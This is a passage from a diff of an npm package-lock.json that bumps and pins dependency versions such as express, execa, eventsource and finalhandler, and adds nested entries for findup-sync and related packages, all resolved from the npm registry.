+ "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.0.tgz",
+ "integrity": "sha512-qerSRB0p+UDEssxTtm6EDKcE7W4OaoisfIMl4CngyEhjpYglocpNg6UEqCvemdGhosAsg4sO2dXJOdyBifPGCg==",
"dev": true
},
"events": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz",
- "integrity": "sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=",
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/events/-/events-3.0.0.tgz",
+ "integrity": "sha512-Dc381HFWJzEOhQ+d8pkNon++bk9h6cdAoAj4iE6Q4y6xgTzySWXlKn05/TVNpjnfRqi/X0EpJEJohPjNI3zpVA==",
"dev": true
},
"eventsource": {
- "version": "0.1.6",
- "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-0.1.6.tgz",
- "integrity": "sha1-Cs7ehJ7X3RzMMsgRuxG5RNTykjI=",
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-1.0.7.tgz",
+ "integrity": "sha512-4Ln17+vVT0k8aWq+t/bF5arcS3EpT9gYtW66EPacdj/mAFevznsnyoHLPy2BA8gbIQeIHoPsvwmfBftfcG//BQ==",
"dev": true,
"requires": {
- "original": ">=0.0.5"
+ "original": "1.0.2"
}
},
"evp_bytestokey": {
@@ -5020,23 +5248,23 @@
"integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==",
"dev": true,
"requires": {
- "md5.js": "^1.3.4",
- "safe-buffer": "^5.1.1"
+ "md5.js": "1.3.5",
+ "safe-buffer": "5.1.1"
}
},
"execa": {
- "version": "0.7.0",
- "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz",
- "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=",
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz",
+ "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==",
"dev": true,
"requires": {
- "cross-spawn": "^5.0.1",
- "get-stream": "^3.0.0",
- "is-stream": "^1.1.0",
- "npm-run-path": "^2.0.0",
- "p-finally": "^1.0.0",
- "signal-exit": "^3.0.0",
- "strip-eof": "^1.0.0"
+ "cross-spawn": "6.0.5",
+ "get-stream": "4.1.0",
+ "is-stream": "1.1.0",
+ "npm-run-path": "2.0.2",
+ "p-finally": "1.0.0",
+ "signal-exit": "3.0.2",
+ "strip-eof": "1.0.0"
}
},
"expand-braces": {
@@ -5045,9 +5273,9 @@
"integrity": "sha1-SIsdHSRRyz06axks/AMPRMWFX+o=",
"dev": true,
"requires": {
- "array-slice": "^0.2.3",
- "array-unique": "^0.2.1",
- "braces": "^0.1.2"
+ "array-slice": "0.2.3",
+ "array-unique": "0.2.1",
+ "braces": "0.1.5"
},
"dependencies": {
"braces": {
@@ -5056,7 +5284,7 @@
"integrity": "sha1-wIVxEIUpHYt1/ddOqw+FlygHEeY=",
"dev": true,
"requires": {
- "expand-range": "^0.1.0"
+ "expand-range": "0.1.1"
}
},
"expand-range": {
@@ -5065,8 +5293,8 @@
"integrity": "sha1-TLjtoJk8pW+k9B/ELzy7TMrf8EQ=",
"dev": true,
"requires": {
- "is-number": "^0.1.1",
- "repeat-string": "^0.2.2"
+ "is-number": "0.1.1",
+ "repeat-string": "0.2.2"
}
},
"is-number": {
@@ -5090,7 +5318,7 @@
"dev": true,
"optional": true,
"requires": {
- "is-posix-bracket": "^0.1.0"
+ "is-posix-bracket": "0.1.1"
}
},
"expand-range": {
@@ -5100,45 +5328,54 @@
"dev": true,
"optional": true,
"requires": {
- "fill-range": "^2.1.0"
+ "fill-range": "2.2.3"
+ }
+ },
+ "expand-tilde": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz",
+ "integrity": "sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=",
+ "dev": true,
+ "requires": {
+ "homedir-polyfill": "1.0.3"
}
},
"express": {
- "version": "4.16.3",
- "resolved": "https://registry.npmjs.org/express/-/express-4.16.3.tgz",
- "integrity": "sha1-avilAjUNsyRuzEvs9rWjTSL37VM=",
+ "version": "4.17.1",
+ "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz",
+ "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==",
"dev": true,
"requires": {
- "accepts": "~1.3.5",
+ "accepts": "1.3.7",
"array-flatten": "1.1.1",
- "body-parser": "1.18.2",
- "content-disposition": "0.5.2",
- "content-type": "~1.0.4",
- "cookie": "0.3.1",
+ "body-parser": "1.19.0",
+ "content-disposition": "0.5.3",
+ "content-type": "1.0.4",
+ "cookie": "0.4.0",
"cookie-signature": "1.0.6",
"debug": "2.6.9",
- "depd": "~1.1.2",
- "encodeurl": "~1.0.2",
- "escape-html": "~1.0.3",
- "etag": "~1.8.1",
- "finalhandler": "1.1.1",
+ "depd": "1.1.2",
+ "encodeurl": "1.0.2",
+ "escape-html": "1.0.3",
+ "etag": "1.8.1",
+ "finalhandler": "1.1.2",
"fresh": "0.5.2",
"merge-descriptors": "1.0.1",
- "methods": "~1.1.2",
- "on-finished": "~2.3.0",
- "parseurl": "~1.3.2",
+ "methods": "1.1.2",
+ "on-finished": "2.3.0",
+ "parseurl": "1.3.3",
"path-to-regexp": "0.1.7",
- "proxy-addr": "~2.0.3",
- "qs": "6.5.1",
- "range-parser": "~1.2.0",
- "safe-buffer": "5.1.1",
- "send": "0.16.2",
- "serve-static": "1.13.2",
- "setprototypeof": "1.1.0",
- "statuses": "~1.4.0",
- "type-is": "~1.6.16",
+ "proxy-addr": "2.0.5",
+ "qs": "6.7.0",
+ "range-parser": "1.2.1",
+ "safe-buffer": "5.1.2",
+ "send": "0.17.1",
+ "serve-static": "1.14.1",
+ "setprototypeof": "1.1.1",
+ "statuses": "1.5.0",
+ "type-is": "1.6.18",
"utils-merge": "1.0.1",
- "vary": "~1.1.2"
+ "vary": "1.1.2"
},
"dependencies": {
"array-flatten": {
@@ -5147,23 +5384,11 @@
"integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=",
"dev": true
},
- "body-parser": {
- "version": "1.18.2",
- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.2.tgz",
- "integrity": "sha1-h2eKGdhLR9hZuDGZvVm84iKxBFQ=",
- "dev": true,
- "requires": {
- "bytes": "3.0.0",
- "content-type": "~1.0.4",
- "debug": "2.6.9",
- "depd": "~1.1.1",
- "http-errors": "~1.6.2",
- "iconv-lite": "0.4.19",
- "on-finished": "~2.3.0",
- "qs": "6.5.1",
- "raw-body": "2.3.2",
- "type-is": "~1.6.15"
- }
+ "cookie": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz",
+ "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==",
+ "dev": true
},
"debug": {
"version": "2.6.9",
@@ -5174,75 +5399,22 @@
"ms": "2.0.0"
}
},
- "finalhandler": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz",
- "integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==",
- "dev": true,
- "requires": {
- "debug": "2.6.9",
- "encodeurl": "~1.0.2",
- "escape-html": "~1.0.3",
- "on-finished": "~2.3.0",
- "parseurl": "~1.3.2",
- "statuses": "~1.4.0",
- "unpipe": "~1.0.0"
- }
- },
- "iconv-lite": {
- "version": "0.4.19",
- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz",
- "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ==",
- "dev": true
- },
"qs": {
- "version": "6.5.1",
- "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz",
- "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==",
+ "version": "6.7.0",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
+ "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==",
"dev": true
},
- "raw-body": {
- "version": "2.3.2",
- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz",
- "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=",
- "dev": true,
- "requires": {
- "bytes": "3.0.0",
- "http-errors": "1.6.2",
- "iconv-lite": "0.4.19",
- "unpipe": "1.0.0"
- },
- "dependencies": {
- "depd": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz",
- "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=",
- "dev": true
- },
- "http-errors": {
- "version": "1.6.2",
- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz",
- "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=",
- "dev": true,
- "requires": {
- "depd": "1.1.1",
- "inherits": "2.0.3",
- "setprototypeof": "1.0.3",
- "statuses": ">= 1.3.1 < 2"
- }
- },
- "setprototypeof": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz",
- "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=",
- "dev": true
- }
- }
+ "range-parser": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+ "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
+ "dev": true
},
- "statuses": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz",
- "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==",
+ "safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
"dev": true
}
}
@@ -5259,8 +5431,8 @@
"integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
"dev": true,
"requires": {
- "assign-symbols": "^1.0.0",
- "is-extendable": "^1.0.1"
+ "assign-symbols": "1.0.0",
+ "is-extendable": "1.0.1"
},
"dependencies": {
"is-extendable": {
@@ -5269,20 +5441,20 @@
"integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
"dev": true,
"requires": {
- "is-plain-object": "^2.0.4"
+ "is-plain-object": "2.0.4"
}
}
}
},
"external-editor": {
- "version": "3.0.3",
- "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.0.3.tgz",
- "integrity": "sha512-bn71H9+qWoOQKyZDo25mOMVpSmXROAsTJVVVYzrrtol3d4y+AsKjf4Iwl2Q+IuT0kFSQ1qo166UuIwqYq7mGnA==",
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz",
+ "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==",
"dev": true,
"requires": {
- "chardet": "^0.7.0",
- "iconv-lite": "^0.4.24",
- "tmp": "^0.0.33"
+ "chardet": "0.7.0",
+ "iconv-lite": "0.4.24",
+ "tmp": "0.0.33"
},
"dependencies": {
"iconv-lite": {
@@ -5291,7 +5463,7 @@
"integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
"dev": true,
"requires": {
- "safer-buffer": ">= 2.1.2 < 3"
+ "safer-buffer": "2.1.2"
}
}
}
@@ -5303,7 +5475,7 @@
"dev": true,
"optional": true,
"requires": {
- "is-extglob": "^1.0.0"
+ "is-extglob": "1.0.0"
}
},
"extract-zip": {
@@ -5352,7 +5524,8 @@
"fast-deep-equal": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz",
- "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ="
+ "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=",
+ "dev": true
},
"fast-json-stable-stringify": {
"version": "2.0.0",
@@ -5377,7 +5550,7 @@
"integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=",
"dev": true,
"requires": {
- "websocket-driver": ">=0.5.1"
+ "websocket-driver": "0.7.3"
}
},
"fbjs": {
@@ -5385,13 +5558,13 @@
"resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz",
"integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=",
"requires": {
- "core-js": "^1.0.0",
- "isomorphic-fetch": "^2.1.1",
- "loose-envify": "^1.0.0",
- "object-assign": "^4.1.0",
- "promise": "^7.1.1",
- "setimmediate": "^1.0.5",
- "ua-parser-js": "^0.7.18"
+ "core-js": "1.2.7",
+ "isomorphic-fetch": "2.2.1",
+ "loose-envify": "1.3.1",
+ "object-assign": "4.1.1",
+ "promise": "7.3.1",
+ "setimmediate": "1.0.5",
+ "ua-parser-js": "0.7.19"
},
"dependencies": {
"core-js": {
@@ -5407,7 +5580,7 @@
"integrity": "sha1-i1vL2ewyfFBBv5qwI/1nUPEXfmU=",
"dev": true,
"requires": {
- "pend": "~1.2.0"
+ "pend": "1.2.0"
}
},
"fetch": {
@@ -5419,23 +5592,28 @@
"encoding": "0.1.12"
}
},
+ "figgy-pudding": {
+ "version": "3.5.1",
+ "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.1.tgz",
+ "integrity": "sha512-vNKxJHTEKNThjfrdJwHc7brvM6eVevuO5nTj6ez8ZQ1qbXTvGthucRF7S4vf2cr71QVnT70V34v0S1DyQsti0w==",
+ "dev": true
+ },
"figures": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz",
"integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=",
"dev": true,
"requires": {
- "escape-string-regexp": "^1.0.5"
+ "escape-string-regexp": "1.0.5"
}
},
"file-entry-cache": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-2.0.0.tgz",
- "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=",
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz",
+ "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==",
"dev": true,
"requires": {
- "flat-cache": "^1.2.1",
- "object-assign": "^4.0.1"
+ "flat-cache": "2.0.1"
}
},
"file-loader": {
@@ -5444,8 +5622,8 @@
"integrity": "sha512-TGR4HU7HUsGg6GCOPJnFk06RhWgEWFLAGWiT6rcD+GRC2keU3s9RGJ+b3Z6/U73jwwNb2gKLJ7YCrp+jvU4ALg==",
"dev": true,
"requires": {
- "loader-utils": "^1.0.2",
- "schema-utils": "^0.4.5"
+ "loader-utils": "1.1.0",
+ "schema-utils": "0.4.7"
},
"dependencies": {
"loader-utils": {
@@ -5454,9 +5632,9 @@
"integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "big.js": "3.1.3",
+ "emojis-list": "2.1.0",
+ "json5": "0.5.1"
}
}
}
@@ -5474,9 +5652,9 @@
"optional": true
},
"filepond": {
- "version": "4.2.0",
- "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.2.0.tgz",
- "integrity": "sha512-JTSvxTQGbCXMZGoPOIjCKImv+Al3Y5z3f6gRoUGlQdqpnMHdnwOV0WG3hRCVBDN64ctAN3pgKtofkWfsnwwoTA=="
+ "version": "4.7.1",
+ "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.1.tgz",
+ "integrity": "sha512-AxZBhsGS9QEJfbLiASUJMuS3hLhq/HbkKaJx1gKYCQ0lbs/OfciKKdeFbtAVKk0o9o6DcITw2C+QqFcTP1QBCg=="
},
"fill-range": {
"version": "2.2.3",
@@ -5485,26 +5663,26 @@
"dev": true,
"optional": true,
"requires": {
- "is-number": "^2.1.0",
- "isobject": "^2.0.0",
- "randomatic": "^1.1.3",
- "repeat-element": "^1.1.2",
- "repeat-string": "^1.5.2"
+ "is-number": "2.1.0",
+ "isobject": "2.1.0",
+ "randomatic": "1.1.7",
+ "repeat-element": "1.1.2",
+ "repeat-string": "1.6.1"
}
},
"finalhandler": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.0.tgz",
- "integrity": "sha1-zgtoVbRYU+eRsvzGgARtiCU91/U=",
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz",
+ "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==",
"dev": true,
"requires": {
"debug": "2.6.9",
- "encodeurl": "~1.0.1",
- "escape-html": "~1.0.3",
- "on-finished": "~2.3.0",
- "parseurl": "~1.3.2",
- "statuses": "~1.3.1",
- "unpipe": "~1.0.0"
+ "encodeurl": "1.0.2",
+ "escape-html": "1.0.3",
+ "on-finished": "2.3.0",
+ "parseurl": "1.3.3",
+ "statuses": "1.5.0",
+ "unpipe": "1.0.0"
},
"dependencies": {
"debug": {
@@ -5515,12 +5693,6 @@
"requires": {
"ms": "2.0.0"
}
- },
- "statuses": {
- "version": "1.3.1",
- "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.3.1.tgz",
- "integrity": "sha1-+vUbnrdKrvOzrPStX2Gr8ky3uT4=",
- "dev": true
}
}
},
@@ -5530,9 +5702,9 @@
"integrity": "sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=",
"dev": true,
"requires": {
- "commondir": "^1.0.1",
- "make-dir": "^1.0.0",
- "pkg-dir": "^2.0.0"
+ "commondir": "1.0.1",
+ "make-dir": "1.3.0",
+ "pkg-dir": "2.0.0"
}
},
"find-root": {
@@ -5545,30 +5717,349 @@
"resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz",
"integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=",
"requires": {
- "path-exists": "^2.0.0",
- "pinkie-promise": "^2.0.0"
+ "path-exists": "2.1.0",
+ "pinkie-promise": "2.0.1"
+ }
+ },
+ "findup-sync": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz",
+ "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==",
+ "dev": true,
+ "requires": {
+ "detect-file": "1.0.0",
+ "is-glob": "4.0.1",
+ "micromatch": "3.1.10",
+ "resolve-dir": "1.0.1"
+ },
+ "dependencies": {
+ "arr-diff": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+ "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=",
+ "dev": true
+ },
+ "array-unique": {
+ "version": "0.3.2",
+ "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+ "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=",
+ "dev": true
+ },
+ "braces": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+ "dev": true,
+ "requires": {
+ "arr-flatten": "1.1.0",
+ "array-unique": "0.3.2",
+ "extend-shallow": "2.0.1",
+ "fill-range": "4.0.0",
+ "isobject": "3.0.1",
+ "repeat-element": "1.1.2",
+ "snapdragon": "0.8.2",
+ "snapdragon-node": "2.1.1",
+ "split-string": "3.1.0",
+ "to-regex": "3.0.2"
+ },
+ "dependencies": {
+ "extend-shallow": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
+ "dev": true,
+ "requires": {
+ "is-extendable": "0.1.1"
+ }
+ }
+ }
+ },
+ "expand-brackets": {
+ "version": "2.1.4",
+ "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
+ "dev": true,
+ "requires": {
+ "debug": "2.6.8",
+ "define-property": "0.2.5",
+ "extend-shallow": "2.0.1",
+ "posix-character-classes": "0.1.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "0.2.5",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "0.1.6"
+ }
+ },
+ "extend-shallow": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
+ "dev": true,
+ "requires": {
+ "is-extendable": "0.1.1"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "0.1.6",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+ "dev": true,
+ "requires": {
+ "kind-of": "3.2.2"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+ "dev": true,
+ "requires": {
+ "is-buffer": "1.1.5"
+ }
+ }
+ }
+ },
+ "is-data-descriptor": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+ "dev": true,
+ "requires": {
+ "kind-of": "3.2.2"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+ "dev": true,
+ "requires": {
+ "is-buffer": "1.1.5"
+ }
+ }
+ }
+ },
+ "is-descriptor": {
+ "version": "0.1.6",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "0.1.6",
+ "is-data-descriptor": "0.1.4",
+ "kind-of": "5.1.0"
+ }
+ },
+ "kind-of": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+ "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+ "dev": true
+ }
+ }
+ },
+ "extglob": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+ "dev": true,
+ "requires": {
+ "array-unique": "0.3.2",
+ "define-property": "1.0.0",
+ "expand-brackets": "2.1.4",
+ "extend-shallow": "2.0.1",
+ "fragment-cache": "0.2.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "1.0.2"
+ }
+ },
+ "extend-shallow": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
+ "dev": true,
+ "requires": {
+ "is-extendable": "0.1.1"
+ }
+ }
+ }
+ },
+ "fill-range": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
+ "dev": true,
+ "requires": {
+ "extend-shallow": "2.0.1",
+ "is-number": "3.0.0",
+ "repeat-string": "1.6.1",
+ "to-regex-range": "2.1.1"
+ },
+ "dependencies": {
+ "extend-shallow": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
+ "dev": true,
+ "requires": {
+ "is-extendable": "0.1.1"
+ }
+ }
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "6.0.2"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "6.0.2"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "1.0.0",
+ "is-data-descriptor": "1.0.0",
+ "kind-of": "6.0.2"
+ }
+ },
+ "is-extglob": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+ "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=",
+ "dev": true
+ },
+ "is-glob": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
+ "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
+ "dev": true,
+ "requires": {
+ "is-extglob": "2.1.1"
+ }
+ },
+ "is-number": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
+ "dev": true,
+ "requires": {
+ "kind-of": "3.2.2"
+ },
